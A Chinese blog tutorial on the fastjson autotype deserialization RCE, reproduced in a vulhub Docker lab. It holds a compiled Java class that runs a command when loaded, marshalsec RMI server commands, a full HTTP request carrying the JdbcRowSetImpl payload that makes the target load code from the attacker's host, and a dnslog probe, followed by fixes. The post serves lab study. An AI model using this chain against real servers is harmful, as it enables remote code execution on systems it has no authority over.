fastjson反序列化漏洞

适用版本

<=1.2.24 rce cnvd-2017-02833
<=1.2.47 rce cnvd-2019-22238
还有其他版本的

漏洞原理

漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

攻击流程:制作反弹Payload -> 开启HTTP服务 -> 启动LDAP服务 -> 监听EXP中端口 -> 执行Payload

JSON.parseObject()返回实际类型对象
User user1T = JSON.parseObject(serializedStr, User.class);

JSON.parse()返回JsonObject对象
Object obj1 =JSON.parse(serializedStr);

在这里插入图片描述
在1.2.47版本及以下的情况下,loadClass中默认cache为true,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,即可绕过黑名单。

先在centos7里面下载靶场

更换源

yum install -y wget
cd /etc/yum.repos.d/
mv CentOS-Base.repo CentOS-Base.repo.back
wget -O CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo  
cat CentOS-Base.repo
yum clean all  
yum makecache  

下载靶场

yum -y install git 下载git
cd var/local/
mkdir soft
cd soft
git clone https://github.com/vulhub/vulhub.git

运行靶场环境

cd fastjson
ls
cd 1.2.24-rce/
docker-compose build
docker-compose up -d
ifconfig 查看ip

在这里插入图片描述
靶场成功运行

kali 设置python版本

配置:
update-alernatives --install /user/bin/python
python /user/bin/python2 100
update-alernatives --install /user/bin/python
python /user/bin/python3 150

切换版本
update-alternatives --config python

java1.8环境和mvn环境搭建

Kali安装JDK 1.8的详细过程
kali安装maven

此次攻击需要java1.8版本和mvn
需要下载并且配置环境

下载marshalsec工具

下载marshalsec
也可以直接用git下载

git clone https://gitcode.net/mirrors/mbechler/marshalsec.git

攻击步骤(kali)

编写恶意代码TouchFile

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success111111111"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

将这段代码放到kali桌面并在终端编译成javac文件

javac TouchFile.java

kali中开一个终端 ,使用python http服务并使用4444端口
可以从网页访问到桌面上的.class文件

python3 -m http.server 4444 #python3

在这里插入图片描述

重开一个终端,
使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:

source /etc/profile

cd marshalsec/

mvn clean package -DskipTests

在这里插入图片描述
成功以后会在target目录下生成marshalsec-0.0.3-SNAPSHOT-all.jar文件

先进入target文件
然后运行

cd target
ls

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.5.128:4444/#TouchFile" 9999
此处ip为刚才通过python3开启的4444端口,相当于一个指针指向ip:4444端口下的.class 文件

然后通过burp进行放包,此处可自己抓包构造也可以用我这的,
用我这的需要自行改上面的访问ip和下面的9999端口ip

POST / HTTP/1.1
Host: 192.168.5.130:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control:max-age=0
Content-Type: application/json
Content-Length: 169


{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.5.128:9999/TouchFile",
        "autoCommit":true
    }
}


在这里插入图片描述放包后在kali中出现200状态值为成功

在这里插入图片描述

从靶机的docker中验证是否成功

docker ps
docker exec -it 2549290fcecf /bin/bash
cd tmp
ls

在这里插入图片描述
成功

漏洞挖掘思路

1、找到发送JSON序列化数据的接口
2、判断是否使用fastjon
1)非法格式报错

{“x”:"

2)使用dnslog探测

{“x”:{“@type”:“java.net.Inet4Address”,“val”:“xxx.dnslog.cn”}}

Burp 插件
https://github.com/zilong3033/fastjsonScan

漏洞修复

1、升级JDK 6u211 / 7u201 / 8u191 /11.0.1
2、升级Fastjson到最新版
fastjson.parser.safeMode=true
3、使用安全产品过滤非法内容
4、更换其它序列化工具 Jackson/Gson

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值